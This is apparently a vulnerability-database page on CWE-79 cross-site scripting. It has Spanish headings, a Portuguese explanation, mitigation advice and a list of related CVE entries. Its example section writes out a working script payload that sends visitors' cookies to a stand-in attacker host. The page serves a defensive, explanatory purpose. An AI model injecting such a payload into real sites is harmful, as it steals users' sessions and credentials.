Fallos del tipo CWE-79

29.670 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-5373MEDIUMKashipara College Management System submit_login.php cross site scriptingEPSS 0.4%CVE-2022-38110MEDIUMReflected Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-48937MEDIUMZnuny before LTS 6.5.1 through 6.5.10 and 7.0.1 through 7.0.16 allows XSS. JavaScript code in the short description of the SLA field in ActiEPSS 0.4%CVE-2023-49151MEDIUMWordPress Google Calendar Events Plugin <= 3.2.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-69690MEDIUMMicrosoft Office SharePoint Spoofing VulnerabilityEPSS 0.4%CVE-2024-5372MEDIUMKashipara College Management System submit_extracurricular_activity.php cross site scriptingEPSS 0.4%CVE-2014-125109LOWBestWebSoft Portfolio Plugin bws_menu.php bws_add_menu_render cross site scriptingEPSS 0.4%CVE-2024-5787MEDIUMPowerPack Addons for Elementor (Free Widgets, Extensions and Templates) <= 2.7.20 - Authenticated (Contributor+) Stored Cross-Site Scripting via Link Effects WidgetEPSS 0.4%CVE-2024-5376MEDIUMKashipara College Management System view_each_faculty.php cross site scriptingEPSS 0.4%CVE-2023-25019HIGHWordPress Chaty Plugin <= 3.0.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-30511HIGHGrowatt Cloud Applications Cross-site ScriptingEPSS 0.4%CVE-2024-50659MEDIUMCross Site Scripting vulnerability iPublish Media Solutions AdPortal 3.0.39 allows a remote attacker to escalate privileges via the shippingEPSS 0.4%CVE-2024-26101MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2025-22131MEDIUMCross-Site Scripting (XSS) vulnerability in generateNavigation() functionEPSS 0.4%CVE-2023-5894LOWCross-site Scripting (XSS) - Stored in pkp/ojsEPSS 0.4%CVE-2023-6844MEDIUMiframe <= 5.0 - Authenticated(Contributor+) Stored Cross-Site Scripting via shortcodeEPSS 0.4%CVE-2023-0313MEDIUMCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.4%CVE-2024-9528MEDIUMContact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder <= 5.1.19 - Authenticated (Form Manager+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-31366MEDIUMAn Improper Neutralization of Input During Web Page Generation vulnerability [CWE-79] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3,EPSS 0.4%CVE-2023-47239MEDIUMWordPress Easy PayPal Shopping Cart Plugin <= 1.1.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%